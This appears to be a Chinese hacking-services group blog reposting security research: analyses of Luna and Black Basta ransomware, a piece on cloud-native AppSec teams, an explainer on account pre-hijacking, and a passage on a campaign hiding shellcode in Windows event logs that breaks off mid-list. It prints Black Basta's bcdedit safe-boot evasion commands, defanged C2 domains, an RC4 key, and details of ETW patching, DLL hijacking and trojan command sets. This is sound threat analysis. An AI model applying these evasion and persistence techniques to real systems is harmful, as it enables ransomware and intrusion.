Jump to content

Hacker Technology

A group blog by Leader in Hacker Website - Providing Professional Ethical Hacking Services

  • Entries

    16114

  • Comments

    7952

  • Views

    863113760

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking

moon-luna-red-danger-sl-1200x600.jpg

Luna：用Rust 編寫的全新勒索軟件上個月，卡巴斯基實驗室的研究人員在暗網勒索軟件論壇上發現了一個新型惡意軟件，該惡意軟件是用Rust 編寫的，可以在Windows、Linux 和ESXi 系統上運行，研究人員通過卡巴斯基安全網絡(KSN) 找到了一些樣本。

1.png

Luna 中可用的命令行選項

從可用的命令行選項來看，Luna 相當簡單。但是，它使用的加密方案並不那麼典型，因為它涉及x25519 和AES，這是勒索軟件方案中不經常遇到的組合。

Linux 和ESXi 示例都是使用相同的源代碼編譯的，與Windows 版本相比有一些細微的變化。例如，如果Linux 示例在沒有命令行參數的情況下執行，它們將不會運行。相反，它們將顯示可以使用的可用參數。其餘代碼與Windows 版本相比沒有顯著變化。

開發者稱Luna 只與講俄語的機構合作。此外，在二進製文件中硬編碼的贖金記錄包含拼寫錯誤。例如，它說“a little team”而不是“a small team”。因此，我們假設Luna 背後的開發者是講俄語的人。由於Luna 是一個新發現的組織，關於其受害者的數據仍然很少。

Luna 證實了跨平台勒索軟件的趨勢：當前的勒索軟件組織嚴重依賴Golang 和Rust 等語言，其中就包括BlackCat 和Hive。這些語言與平台無關，用這些語言編寫的勒索軟件可以很容易地從一個平台移植到其他平台，因此攻擊可以同時針對不同的操作系統。除此之外，跨平台語言有助於規避靜態分析。

Black Basta

Black Basta 是一種用C++ 編寫的相對較新的勒索軟件變體，於2022 年2 月首次被發現。該惡意軟件、基礎設施和活動當時仍處於開發模式。例如，受害者博客尚未上線，但Black Basta 網站已經可供受害者使用。

Black Basta 支持命令行參數“-forcepath”，該參數只用於加密指定目錄下的文件。否則，整個系統(除某些關鍵目錄外)將被加密。

兩個月後，也就是四月，勒索軟件變得更加成熟。新功能包括在加密之前以安全模式啟動系統，以及出於持久性原因模仿Windows 服務。

安全模式重啟功能並不是我們每天都會遇到的，儘管它有它的優勢。例如，一些終端解決方案不會在安全模式下運行，這意味著不會檢測到勒索軟件，並且系統中的文件可以“輕鬆”加密。為了以安全模式啟動，勒索軟件執行以下命令：

C:\Windows\SysNative\bcdedit/setsafebootnetworkChanges

C:\Windows\System32\bcdedit/setsafebootnetworkChanges早期版本的Black Basta 包含與當前使用的不同的記錄，顯示出與Conti使用的贖金記錄相似。這並不像看起來那麼奇怪，因為當時Black Basta 仍處於開發模式。

2.jpg

贖金記錄比較

為了確定Conti 和早期版本的Black Basta 之間確實沒有代碼重疊，研究人員人員提取了一些樣本。確實，如下圖所示，只有字符串重疊。因此，代碼本身沒有重疊。

3.png

與Conti 勒索軟件重疊

適用於Linux 的Black Basta在上個月的另一份報告中，我們討論了Linux 的Black Basta 版本。它是專門為ESXi 系統設計的，但它也可以用於Linux 系統的一般加密，儘管這會有點麻煩。

就像Windows 版本一樣，Linux 版本只支持一個命令行參數：“-forcepath”。使用時，只對指定目錄進行加密。如果沒有給出參數，“/vmfs/volumes”文件夾將被加密。

該版本的加密方案使用ChaCha20和多線程技術，借助系統中不同的處理器來加速加密過程。鑑於ESXi環境通常使用多個CPU 來執行VM 場，惡意軟件的設計（包括所選的加密算法）允許操作員盡快對環境進行加密。在加密文件之前，Black Basta 使用chmod 命令在與用戶級別相同的上下文中訪問它。

Black Basta目標對Black Basta 組織發布的受害者的分析顯示，迄今為止，該組織已成功在很短的時間內攻擊了40 多名不同的受害者。受害者博客顯示，包括製造、電子、承包商等在內的各個業務部門都受到了影響。根據分析數據，我們可以看到歐洲、亞洲和美國也受到了攻擊。

HireHackking

數字化轉型是一股不可忽視的力量。在每個垂直領域，企業都努力成為技術公司，並越來越多地區分他們如何實現這一描述。

雲和DevOps在這種轉型中發揮著巨大的作用，並徹底改變了我們開發和運營軟件的方式。軟件從未像今天這樣容易創建，從未像今天這樣頻繁地更新，也從未創新過如此迅速地適應客戶需求。

面對這樣的變化，安全別無選擇，只能適應。企業必須並將繼續努力提高速度，而獨立團隊是實現這一目標的唯一途徑。我們保護應用程序的方式必須轉變，使其成為這些獨立開發團隊日常工作的一部分。安全團隊首先需要專注於幫助這些團隊實現安全性。安全性需要成為開發優先。

安全行業並不是DevOps旅程的一部分。安全流程傾向於控制持續流程，而不是合併到流程中。值得注意的是，安全流程無法實現以下功能：

增強獨立開發團隊的能力安全能力由一個單獨的團隊擁有，開發團隊無權做出安全決策，並且工具主要是為審計人員而不是構建人員設計的。

持續運維安全流程仍然嚴重依賴手動門，例如安全審計或結果審查，從而減慢了持續流程的速度。

讓安全工作違背速度和獨立性的業務動機，不可能有好下場。開發團隊必須在放慢速度（這會損害業務成果）和規避安全控制（這會引入重大風險）之間做出選擇。這些都不是可行的長期選擇，因此企業必須改變其安全實踐以適應DevOps現實。

DevOps推動了對開發優先的安全方法論的需求，在數字化轉型時代，我們還看到了雲的演變和雲原生應用程序。雲原生應用程序的範圍比其前身更廣泛，並且越來越多地包含底層堆棧的更多元素。

應用程序範圍的這種變化也需要改變應用程序安全的範圍。本文討論應用程序安全性的一個新的和擴展的範圍，稱為雲原生應用程序安全（CNAS）。

採用CNAS需要對我們保護應用程序和基礎架構的方式進行重大更改。進行轉變的過程是一個旅程，對於每個組織，甚至對於同一組織的不同部分，其經歷都是不同的。

雖然選擇正確的道路是由你的決定，但是為了獲得正確的路徑，模式和最佳實踐已經開始出現。在本文中，我提出了幾個可以考慮打破現狀的領域，以及如何打破現狀。

重新思考安全組織架構組織通常根據責任範圍進行拆分。當你將保護基礎架構的某些部分視為應用程序安全問題時，請重新考慮如何構建安全組織。更具體地說，請考慮是否更改應用程序安全團隊的責任範圍。

此外，隨著你的安全實踐變得更加偏向開發優先的理念，並專注於增強開發人員的能力，你對此應用程序安全團隊的要求也會發生變化。你需要更多的同理心和項目管理以及更多的工程能力。你需要更多的建設者和更少的破壞者。

為了幫助你評估安全部門的組織結構，以下是我在應用程序安全這個領域中看到的三個最常見的團隊作用域：核心應用程序安全、安全工程和較新的產品安全。這些應該作為如何構建組織的參考點，而不是採用完美的模型。

核心應用安全團隊讓我們從現狀開始，為應用程序安全團隊保持相同的範圍。由於這是默認狀態，因此大多數組織都使用此團隊作用域，至少作為起點。

核心應用程序安全團隊的任務是保護自定義應用程序代碼和業務邏輯以及正在使用的開源庫。他們通常擁有經典的應用程序安全測試（AST）套件，包括靜態，動態和交互式應用程序安全測試（SAST，DAST和IAST）以查找自定義代碼中的漏洞，以及軟件成分分析（SCA）工具以查找易受攻擊的開源庫。此外，這些團隊通常會開發安全教育和培訓，並可能開展漏洞管理或漏洞賞金工作。在某些情況下，他們也可能使用RASP或WAF工具實現運行時應用程序保護的能力。

核心應用程序安全團隊成員通常需要是安全編碼方面的專家，並具有應用程序運行審核和安全代碼審計的一些經驗。他們需要良好的開發人員同理心才能與開發人員合作，這反過來又需要一些理解或與代碼相關的能力，但不需要完整的軟件開發證書。

堅持設定核心應用程序安全團隊的主要優勢是它在行業中的長期地位。它使招聘具有整個團隊領域經驗的專業人員變得更容易。對於工具來說，這是一個工具和實踐被很好地記錄的領域。從組織結構的角度來看，大多數行業都會認為應用程序安全團隊與核心應用程序安全團隊類似。

雖然核心應用程序安全團隊的職責範圍是維持現狀，但它的方法論往往變得更加有利於開發人員。應用程序安全團隊通常會將團隊中的個人職責分配為多個開發團隊的合作夥伴，從而幫助促進更好的協作。在應用安全領域有許多同行會開展安全冠軍計劃，幫助他們獲得規模並在開發團隊中嵌入更多安全專業知識。雖然範圍基本保持不變，但核心應用程序安全團隊的內部實踐不必是傳統的那些做法。

安全工程/安全平台團隊將安全管控流程的步驟實現自動化是現代開發環境中的關鍵。快速CI/CD管道沒有手動審查的空間，而是需要自動化管道測試。此外，開發人員不是安全專家，他們花在安全上的時間更少，因此需要具有嵌入式安全專業知識的工具，並能夠減輕或促進安全性決策。

構建和運營安全工具並非易事，尤其是在大型組織中，不同的開發團隊有著截然不同的要求。為了幫助提高自動化程度，一些組織創建了專門的安全工程團隊，專注於構建內部工具和集成外部工具，所有這些都是為了增強安全性。

安全工程團隊由對安全性略有偏見的軟件工程師組成，其運作方式與完整的DevOps工程團隊類似。他們通常構建、部署和運營他們構建的服務，並使用與其他工程團隊相同的方法來運行其敏捷流程和管理產品積壓工作。

如果工作量不夠大，不足以保證單獨建立自己的團隊，那麼同樣的活動通常也可以嵌入到核心應用程序安全團隊中。然而，儘管名為“安全工程”的團隊在章程中非常一致，但擁有（越來越普遍的）安全工程師頭銜的個人在職責上差異很大。有些人是上文所描述的軟件工程師，而對於其他人來說，頭銜中的“工程師”部分指的則是安全領域。

安全工程團隊是真正提高自動化程度的好方法，並且是面向運維的平台或站點可靠性工程師（SRE）團隊的絕佳並行團隊。事實上，在相當多的情況下，平台團隊的範圍已經擴大到包括構建和運營此類安全工具。這也是讓軟件工程師加入安全團隊的好方法，幫助解決人才短缺問題，並在安全團隊中建立更多的開發人員同理心。

產品安全團隊/雲原生應用安全團隊安全團隊模式的最新成員是產品安全團隊。這些團隊的範圍更大，不僅包括應用程序代碼本身，還包括與產品有關的所有內容。最值得注意的是，兩個關鍵的新增功能是捕獲完整的CNAS範圍，並幫助在產品本身中構建安全功能。

完整的雲原生應用安全範圍擴展到包括CNAS範圍是將某些基礎架構風險重新思考為應用程序安全性的自然結果。如今，像容器和IaC這樣的技術都是由編寫自定義代碼、使用相同實踐和工具的相同開發人員驅動的。為了支持這一變化，AppSec團隊需要支持這些工程師成功地做到這一點。擁抱這個更廣泛範圍的團隊通常將自己稱為產品安全團隊。

這種擴展的CNAS範圍意味著產品安全團隊在軟件開發生命週期中的更大一部分內開展工作。包括更多的參與到生產部署甚至運維工作中，從而導致與更注重運營的雲安全團隊重疊。在實踐中，雲原生開發意味著雲安全同時受到開發和運維團隊的影響，產品安全團隊覆蓋前者。

請注意，許多核心應用程序安全團隊正在擴展以涵蓋完整的CNAS範圍，而無需正式更改其團隊名稱和任務。選擇和實施解決方案來掃描容器鏡像以查找漏洞並審核IaC文件越來越成為應用程序安全團隊的領域。雖然可以安全地假設產品安全團隊捕獲了這個完整的範圍，但這樣的重命名並不是絕對必要的，而且許多應用安全團隊在沒有這種聲明的情況下已經發展起來了。

產品安全功能與CNAS無關但仍然值得注意的一點是，產品安全團隊的參與具有更面向用戶的安全性部分：安全功能。隨著用戶對安全的重要性的認識不斷提高，許多產品都希望構建專用的安全功能，並通過它們實現差異化。確定哪些安全功能有價值需要一定程度的安全理解，開發團隊可能沒有，但安全團隊有。產品安全團隊通常在這裡扮演一個明確的角色，與產品經理（PM）合作，他們擁有完整的產品功能和價值主張，比以往任何時候都要多。

此職責在應用程序和安全團隊之間的關係中起著重要作用。安全控制是降低風險的一種手段，但能夠將此風險緩解作為安全功能提供意味著它可以幫助增加收入。增加收入是兩個團隊的另一個共同目標，而且比降低風險更明顯，這使得慶祝成功變得更加容易。

產品安全的演變產品安全是一個新的頭銜和範圍，並且仍在定義中。鑑於其範圍更廣，它通常是上級頭銜或大團隊，其中包括提到的其他團隊。在一些雲原生組織中，產品安全是首席安全官（CSO）的主要範圍，而其他一些組織則開始任命領導者為首席產品安全官（CSO）。

Atlassian首席信息安全官（CISO）AdrianLudwig說得最好，他說：“產品安全的目標是改善產品的安全狀況，並在內部向開發團隊代表客戶的安全期望”。 Twilio，Deliveroo和Snyk等其他公司也使用這個頭銜，我相信這是解決CNAS的正確方法。

DevSecOps團隊呢？

你可能已經註意到我沒有說出DevSecOps團隊的名字，這不是偶然的。與DevOps一樣，DevSecOps不是一個團隊;這是一項運動，旨在將安全性嵌入到核心開發和運營工作中。在我看來，它不應該是一個團隊的頭銜。

但是，就像DevOps團隊一樣，DevSecOps團隊也存在，他們的任務也大不相同。有時，他們實際上是一個雲安全團隊，專注於運營和運行時的安全性。其他時候，它們更像平台，其職責範圍類似於安全工程團隊。由於頭銜並不意味著一組特定的職責，因此DevSecOps團隊的職責範圍並不是可以真正定義的。

然而，所有這些團隊的共同點是他們具有前瞻性思維。 DevSecOps旨在改變我們做安全的方式，而DevSecOps團隊，無論其範圍如何，都始終將自己視為變革推動者。他們擁抱自動化和雲，更喜歡工程化的安全解決方案而不是開展審計工作，並致力於授權開發和運維團隊能夠自己保護自己的工作。

HireHackking

微信截图_20220725163841.png

帳戶劫持（Account hijacking）是控制他人賬戶的行為，目的通常是竊取個人信息、冒充或勒索受害者。賬戶劫持作為一種常見的攻擊類型，執行起來卻並不容易，為了成功實施攻擊，攻擊者必須提前弄清楚受害者的密碼。

不過，研究人員已經發現了一種稱為“帳戶預劫持”（Pre-Hijacking）的新型攻擊。它涉及到利用尚未創建的帳戶，並允許攻擊者在不訪問密碼的情況下實現相同的目標。

那麼究竟什麼是帳戶預劫持，以及如何免受此類劫持的影響呢？

帳戶預劫持概念帳戶預劫持是一種新型的網絡攻擊。攻擊者需要使用其他人的電子郵件地址在流行服務上創建一個帳戶。

當受害者嘗試使用相同的電子郵件地址去創建帳戶時，攻擊者就擁有並保留了對該帳戶的控制權。然後，攻擊者就可以訪問受害者提供的任何信息。而且，他們會在之後的一段時間，持續獨占對該帳戶的控制權。

帳戶預劫持的運行方式為了進行預劫持，攻擊者首先需要訪問一個電子郵件地址。而這些地址信息遍布暗網，例如，當發生數據洩露時，就會出現大量電子郵件地址被轉儲到暗網中。

然後，攻擊者會在該電子郵件地址所有者尚未使用的流行服務上創建一個賬戶。鑑於許多大型服務提供商通常會提供廣泛的服務棧，因此預測受害者會在某個時刻註冊這樣的賬戶並不困難。而且，這些活動通常是批量進行的，旨在提高成功率。

當受害者試圖用電子郵件地址在目標服務上創建一個帳戶時，他們就會被告知該帳戶已存在，並會被要求重置他們的密碼。而大多數受害者會質疑自身確實已經註冊過賬戶，並按照要求重置他們的密碼。

隨後，攻擊者將會收到新帳戶密碼的更新通知，並持續保留對該賬戶的訪問權限。

這種攻擊發生的具體機制各不相同，但主要分為五種不同的類型。

帳戶預劫持主要類型經典聯合歸併（Classic-Federated Merge）攻擊如今，許多在線平台都會讓您選擇聯合身份（例如，您的Gmail帳戶）登錄，或使用您的Gmail地址來創建新帳戶。如此一來，如果攻擊者使用您的Gmail地址註冊了賬戶，那麼在您使用Gmail帳戶登錄時，就可能訪問到同一個帳戶內，進而遭受賬戶預劫持攻擊。

未過期的會話標識符（Unexpired Session Identifier）攻擊攻擊者使用受害者的電子郵件地址創建一個帳戶，並持續保持一個活躍的會話。當受害者創建一個帳戶並重置他們的密碼時，由於平台並未將原先的攻擊者從活躍會話中註銷，因此攻擊者仍保留對該帳戶的控制權。

木馬標識符（Trojan Identifier）攻擊攻擊者創建了一個帳戶並添加進一步的賬戶恢復選項，這可能是另一個電子郵件地址或電話號碼。如此一來，即便受害者可以重置該帳戶的密碼，但攻擊者仍然可以使用帳戶恢復選項來控制它。

未過期的電子郵件更改（Unexpired Email Change）攻擊攻擊者創建一個帳戶並啟動電子郵件地址的更改請求。這樣，他們會收到一個鏈接，用於更改帳戶的電子郵件地址，但他們並沒有完成該過程。受害者可以重置該帳戶的密碼，但這並不一定會使攻擊者之前收到的鏈接失效。然後，攻擊者仍可使用該鏈接來控制該帳戶。

非驗證身份提供商（Non-Verifying Identity Provider）攻擊攻擊者使用無需郵件地址身份驗證的提供商來創建帳戶。當受害者使用相同的電子郵件地址註冊時，他們可能都可以訪問同一個帳戶。

帳戶預劫持的可能性正常情況下，如果攻擊者使用您的電子郵件地址註冊新帳戶，通常會被要求去驗證電子郵件的地址。假設他們沒有入侵您的電子郵件賬戶，這幾乎是不可能的。

不過，問題就在於，許多服務提供商會允許用戶在驗證電子郵件之前，以有限的功能開啟和訪問帳戶。這就為攻擊者提供了可乘之機，允許他們在無需驗證的情況下為此類攻擊準備好一個帳戶。

易受攻擊的“重災”平台Alexa公司研究人員針對全球排名前150的75個不同類型平台進行了測試，結果發現，其中35個平台存在潛在漏洞。這些平台包括LinkedIn、Instagram、WordPress以及Dropbox等知名品牌。

雖然研究人員已經通知了所有存在潛在漏洞的公司，但目前尚不清楚他們是否已採取足夠的措施來防範此類攻擊。

攻擊對受害者的危害如果您受到此類攻擊，攻擊者將可以訪問到您提供的任何信息。根據具體的帳戶類型，這可能涉及個人隱私信息。如果攻擊者針對電子郵件提供商執行此類攻擊，那麼他們甚至可能會試圖冒充您。如果您的賬戶極具價值，它也可能會被盜，並要求您支付贖金來贖回該賬戶。

帳戶預劫持防禦策略針對這種威脅的主要保護措施是明確它的存在。

如果您設置了一個帳戶，並被告知該帳戶已經存在，那麼您應該使用不同的電子郵件地址去進行註冊。如果您為所有最重要的帳戶使用不同的電子郵件地址，那麼這種攻擊既幾乎是不可能的。

在一定程度上，這種攻擊的成功還得益於用戶不使用雙因素身份驗證（2FA）。如果您在設置帳戶時啟用雙因素身份驗證，那麼其他有權訪問該賬戶的人將無法登錄。當然，雙因素身份驗證還可用於防範其他在線威脅，例如網絡釣魚和數據洩露等。

賬戶預劫持很容易避免帳戶劫持是一種常見威脅，但帳戶預劫持卻是一種新型威脅，到目前為止，還主要是理論上的。在註冊許多在線服務時可能會出現這種情況，但目前還沒有被認定為經常發生的情況。

雖然此類攻擊的受害者可能會喪失帳戶訪問權限並造成個人信息洩露，但它同時也很容易避免。如果您註冊了一個新帳戶並被告知賬戶已存在，請記住務必使用不同的電子郵件地址完成註冊。同時，踐行帳戶安全實踐來防範和規避此類攻擊。

HireHackking

在2022年2月，卡巴斯基實驗室的研究人員首次觀察到將shellcode放入Windows事件日誌的技術。該技術允許在文件系統中隱藏“無文件”最後stager的木馬。這種對活動中事件日誌的關注不僅限於存儲shellcode。 Dropper 模塊還修復了與事件跟踪(ETW) 和反惡意軟件掃描接口(AMSI) 相關的Windows 原生API 函數，以使感染過程更加隱蔽。

除了事件日誌之外，攻擊者的工具集中還有許多其他技術。其中，開發者在功能中增加了偵察，可以模仿合法域名的C2 Web 域名，以及受害者使用的現有和軟件的名稱。為了使攻擊更加隱蔽，攻擊者使用Linode、Namecheap、DreamVPS 上的虛擬專用服務器。

一種更常見的方法是使用大量的反檢測解密器。攻擊者使用不同的編譯器，從微軟的cl.exe 或MinGW 下的GCC 到最新版本的Go。此外，為避免被檢測到，某些模塊使用數字證書進行簽名。研究人員認為它是由攻擊者發布的，因為遙測數據沒有顯示任何與之簽名的合法軟件，只有這次活動中使用的惡意代碼。

關於最後stager的特洛伊木馬，攻擊者決定使用多個基於HTTP 和命名管道。顯然，除了事件日誌之外，攻擊者還痴迷於內存注入，許多RAT 命令與它相關並且被大量使用。除了上述自定義模塊和技術外，攻擊者還使用了一些商業滲透測試工具，如Cobalt Strike 和SilentBreak 的工具集。

感染鏈研究人員從內存中的最後一個stager開始研究，然後使用遙測技術，重建了幾個感染鏈，該活動的針對性很強，且使用的大量工具還包括商業工具。

該活動包括各種技術和模塊，讓我們把它分成幾類來從技術上描述這個活動，比如商業滲透測試套件、圍繞它們的自定義反檢測包裝器和最後stager的木馬。

商業工具集有：反檢測包裝器——大量使用系統調用庫的Go 解密器，這可以使Cobalt Strike 模塊多次編碼，並使用AES256 CBC 加密blob，這是首次觀察到擁有Cobalt Strike 的Go的使用情況。

反檢測包裝器——一個庫啟動器，在MinGW 環境下使用GCC 編譯。這個stager唯一可能的原因是反檢測。

反檢測包裝器——AES 解密器，使用Visual Studio 編譯器編譯；

最後stagerRAT——基於HTTP 的木馬，可能的原始名稱是ThrowbackDLL.dll 和drxDLL.dll，但代碼比SilentBreak 的Throwback 的舊版本更複雜。

最後stagerRAT——基於管道的命名木馬，可能的原始名稱是monolithDLL.dll 和SlingshotDLL.dll。根據文件名，最後stager模塊可能是商業Slingshot 版本的一部分。

同樣，我們認為定制的一些模塊(如包裝器和最後stager)可能是商業產品的一部分。分類之後，我們準備一個一個地分析模塊。

初始感染我們觀察到的最早攻擊stager發生在2021 年9 月。 Cobalt Strike 模塊的傳播是通過說服目標下載合法站點file.io 上的.rar 鏈接並自行運行來實現的。內部Cobalt Strike 模塊的數字證書如下（在使用相同的活動期間，從wrapper 到last stagers 簽署了15 個不同的stager）：

1.png

由於所有目標主機的感染情況不同，我們將僅描述觀察到的一種情況。由於能夠使用木馬將代碼注入任何進程，攻擊者可以自由地廣泛使用此功能將下一個模塊注入Windows 系統進程或受信任的應用程序（如DLP）。

記住截斷的進程注入，甚至模仿Web 域註冊，我們可以將攻擊過程描述為非常迭代（quite iterative）：對一些模塊進行初始偵察，然後準備額外的攻擊。

商業工具集關於商業工具，這次活動中使用SilentBreak 和Cobalt Strike 工具集的痕跡非常明顯。名為ThrowbackDLL.dll 和SlingshotDLL.dll 的木馬讓我們想起Throwback 和Slingshot，它們都是SilentBreak 框架中的工具，而與dropper (sb.dll) 關聯的“sb”可能是供應商名稱的縮寫。

這裡我們要提一下，二進製文件中的幾個.pdb 路徑包含項目的目錄C:\Users\admin\source\repos\drx\ 以及其他未以Throwback 或Slingshot 命名的模塊，例如drxDLL.dll。但是，加密函數與公開可用的Throwback 代碼中的相同。

反檢測設計對於反檢測包裝器，使用了不同的編譯器。除了MSVC，Go 編譯器1.17.2 和MinGW 下的GCC 都在使用。解密器差異很大，它們包含的功能如下表所示：

幾個編譯器——可以使用Go 和C++ 模塊完成相同的AES256 CBC 解密；

列入白名單的啟動器——WerFault.exe 的自動運行副本將啟動器映射到進程地址空間；

數字證書——15 個文件使用“Fast Invest”證書籤名，我們沒有觀察到任何用它簽名的合法文件

修復ntdll.dll 的日誌記錄導出——為了更加隱蔽，Go dropper 將與日誌記錄相關的API 函數（如EtwEventWriteFull）修復到具有空功能的自地址空間中；

在事件日誌中保留shellcode——這是攻擊者的主要創新，使用next stager 加密的shellcode 被分成8 KB 的block並保存在事件日誌的二進制部分中；

C2 網絡域名模仿——攻擊者在使用標題中，註冊了一個ERP網絡域名；

這層感染鏈解密、映射到內存並啟動代碼。本文我們將僅介紹Cobalt Strike 的Go 解密啟動器。

主包中的函數名稱被混淆了，Main.init 從與事件日誌創建相關的kernel32.dll 和ntdll.dll 庫（WriteProcessMemory 和其他函數）中解碼Windows API 函數名稱。二進製文件中的每個名稱都連續四次使用base64 編碼。使用WriteProcessMemory，擁有“xor rax, rax; ret”的dropper在內存中編碼以下函數：EtwNotificationRegister、EtwEventRegister、EtwEventWriteFull、EtwEventWriteFull、EtwEventWrite。

在Main.start 中，惡意軟件會檢查主機是否在域中，並且只有在它為真時才起作用。然後動態解析上述函數的地址。下一個stager使用AES256（CBC 模式）加密，密鑰和IV 使用base64 編碼。

使用這種方法，研究人員需要編寫一些腳本來收集下一個模塊的加密部分。解密後，要獲得最終的可移植可執行文件，還需進一步轉換數據。

最後stager類型Last stager 有兩種通信機制——使用RC4加密的HTTP通信機制和使用命名管道的非加密通信機制。後一種方式在技術上能夠與任何網絡可見的外部主機通信，但在Windows環境中，命名管道是建立在SMB協議之上的，它幾乎不會對外部網絡開放。所以這些模塊很可能用於橫向移動。

2.png

在對惡意軟件集進行了介紹之後，我們現在將描述感染鏈，研究人員使用Cobalt Strike 滲透測試套件進行Dropper注入。

用DLL中的Dropper實現order劫持研究人員從wrapper-dropper 動態庫開始自定義模塊分析。此代碼被注入到諸如explorer.exe 之類的Windows 進程中。在加載到啟動程序進程的虛擬地址空間後，在其單個入口點，dropper 刪除由先前stager或執行創建的文件。

首先，該模塊將原始合法的操作系統錯誤處理程序WerFault.exe 複製到C:\Windows\Tasks。然後，它將一個加密的二進制資源放置到同一目錄中的wer.dll文件中，以進行典型的DLLorder劫持。為了持久化，該模塊將新創建的WerFault.exe設置為自動運行，在Software Microsoft\Windows\CurrentVersion\Run Windows系統註冊分支中創建一個Windows問題報告值。

3.png

dropper 不僅將啟動器放在磁盤上進行側載，而且還會將帶有shellcode 的信息消息寫入現有的Windows KMS 事件日誌。

被刪除的wer.dll是一個加載器，如果沒有隱藏在Windows事件日誌中的shellcode，它不會造成任何傷害。 dropper在事件日誌中搜索類別為0x4142（ASCII 中的“AB”）並以密鑰管理服務作為源的記錄。如果沒有找到，則通過ReportEvent() Windows API 函數（lpRawData 參數）將8KB 的shellcode 塊寫入信息記錄消息。從1423 開始，創建的事件ID 會自動遞增。

wer.dll 中的啟動器這個啟動器，被第一個stager放到Tasks 目錄中，它代理所有對wer.dll的調用，並將其導出到原始合法庫。在入口點，一個單獨的線程將所有上述8KB 片段組合成一個完整的shellcode 並運行它。由合法WerFault.exe 的副本創建的相同虛擬地址空間用於所有這些代碼。

4.png

為了防止WerFault 繼續其錯誤處理過程，DLL 使用典型的Blackbone trampoline修復啟動器的入口點

阻止合法啟動器執行的方法很新穎。在主線程中，wer.dll 找到它的入口點並用一個簡單的函數對其進行修復。上面屏幕截圖中的WaitAndExit() 只會使用日誌收集線程ID 調用WaitForSingleObject() ，然後退出，這意味著永遠不會執行真正的WerFault.exe 錯誤處理代碼：映射到其地址空間的欺騙性DLL 會阻止它。

Windows 事件日誌中的Shellcode

啟動器將控制傳輸到收集的shellcode 的第一個字節。在本文中，研究人員為下一個函數準備了三個參數：

下一個stager木馬的地址，它也包含在從事件日誌中提取的數據中；

導出函數名稱的標準ROR13 哈希在此木馬中加載(0xE124D840)；

字符串“dave”和常量“4”的地址，它們成為導出函數的參數，可以通過哈希找到；

解析下一個Windows 可移植可執行文件以定位其入口點的做法是非常典型的。為了讓下一個stager的木馬不那麼顯眼，攻擊者清除了標題中的“MZ”魔法。在木馬的入口點調用代碼後，shellcode 還會搜索請求導出並調用它。

5.png

除了搜索入口點並調用它，shellcode 還通過硬編碼哈希搜索木馬導出，並使用參數“dave”和“4”運行找到的函數

HTTP木馬相比之前的輔助模塊，對於最後一個stager，我們會介紹的更詳細一些。 C++ 模塊顯然使用了SilentBreak（現為NetSPI）的Throwback 公共存儲庫中的代碼：基於XOR 的加密函數，一些示例的原始文件名，例如ThrowbackDLL.dll 等。讓我們從前面提到的Load()導出函數開始。這就像上面的WerFault補丁（函數在主木馬線程上等待），但是它忽略了任何參數，所以“dave”和“4”沒有被使用。這個啟動器可能支持比這個更多的模塊。

目標搜索該模塊使用單字節XOR 密鑰解密C2 域，在此示例中，只有一個域eleed[.]online。該木馬能夠處理其中的許多，以“|”字符分隔並加密。為了進一步通過普通HTTP進行通信，木馬從用戶代理“Mozilla 5.0”的集合中隨機選擇一個C2。

該惡意軟件通過收集以下信息生成一個追踪字符串，也用“|”分隔：

1.SOFTWARE\Microsoft\Cryptography 中MachineGUID 的值；

2.計算機名稱；

3.使用GetAdaptersInfo 獲取的本地IP 地址；

4.架構（x86 或x64）；

5.操作系統版本；

6.當前進程是否有SeDebugPrivilege；

追踪識別器還將“1.1”附加到字符串（可能是惡意軟件版本）和當前配置的睡眠時間。

與C2進行加密的HTTP通信

在HTTP通信之前，該模塊使用硬編碼的32字節長的RC4密鑰發送空(但仍然加密)的ICMP數據包來檢查連接。與任何其他字符串一樣，此密鑰使用基於Throwback xor的算法加密。

如果ping端口為80的控制服務器成功，則將上述追踪數據發送到該控制服務器。作為回應，C2共享木馬主循環的加密命令。

木馬命令代碼的命令功能0——再次對目標進行追踪識別；

1——執行命令，木馬在新進程中執行接收到的命令並將結果發送回C2；

2——從URL 下載並保存到給定路徑；

3——設置新的睡眠時間，如果C2 尚未響應要執行的命令，則將此時間(以分鐘為單位)用作超時。隨機化公式為(0,9 - 1,1之間的隨機數)*睡眠時間；

4——在不改變配置的情況下休眠指定的分鐘數。

5——列出具有PID、路徑、所有者、名稱和父數據的進程；

6——將shellcode 注入並運行到目標進程的地址空間。要注入同一個進程，命令參數應該是“local”。與事件日誌中的shellcode 一樣，該代碼將運行提供的PE 的入口點以及通過哈希找到的特定導出。

99——終止木馬和C2之間的會話。

本次活動中使用的另一個木馬是基於管道命名的，這樣命令系統更有意義，包括特權升級、截圖、非活動時間測量等。繼續使用另一種最後stager的木馬類型，發現它被注入到了像edge.exe這樣的進程中。

基於管道命名的木馬木馬的位置是C:\Windows\apds.dll，具有相同名稱的原始合法Microsoft 幫助數據服務模塊庫位於C:\Windows\System32 中。木馬的主要工作週期是在一個單獨的線程。該惡意軟件還導出一個Load()函數，其唯一目的是等待一個工作線程，這是該活動的模塊的典型。

首先，木馬主線程獲取原始apds.dll並導出，並將其保存到內存中木馬映像之後的一個已分配的新堆緩衝區中。然後，木馬會編輯自己導出的函數數據，這樣它就可以通過如下精心製作的存根調用原始的apds.dll導出，其中的地址就是從真正的apds.dll解析出來的地址：

6.png

這個trampoline代碼取自Blackbone Windows內存黑客庫(remotemmemory:BuildTrampoline函數)。 DLL劫持並不是什麼新鮮事，我們已經多次看到這種技術被用於代理合法函數，但僅用短存根重新創建自導出來調用原始合法函數卻很不尋常。然後，該模塊創建一個雙工命名的管道“MonolithPipe”，並進入它的主循環。

工作週期在對導出函數進行上述操作後，該模塊會輕微地使用架構和Windows 版本信息對主機進行追踪識別。木馬還使用提到的稀有常量初始化一個隨機的11 字節ASCII 字符串，例如這裡的init_keys 函數。結果用作唯一的會話ID。

惡意軟件連接到端口443 上的硬編碼域（在本例中為https://opswat[.]info:443），並向C2 端的submit.php 發送POST 請求。 HTTPS 連接選項設置為接受服務器端的自簽名證書。在本例中，C2通信使用Dhga(81K1!392-!(43KakjaiPA8$#ja密鑰的RC4算法加密。對於基於管道命名的木馬，常用的命令有：

0——將“continue”標誌設置為False 並停止工作；

1——N/A，保留至今；

2——獲取自上次用戶輸入以來的時間（以分鐘為單位）；

3——獲取當前進程信息：PID、架構、用戶、路徑等；

4——獲取主機域和用戶帳戶；

5——使用提供的憑據模擬用戶；

6——獲取當前進程的可用權限；

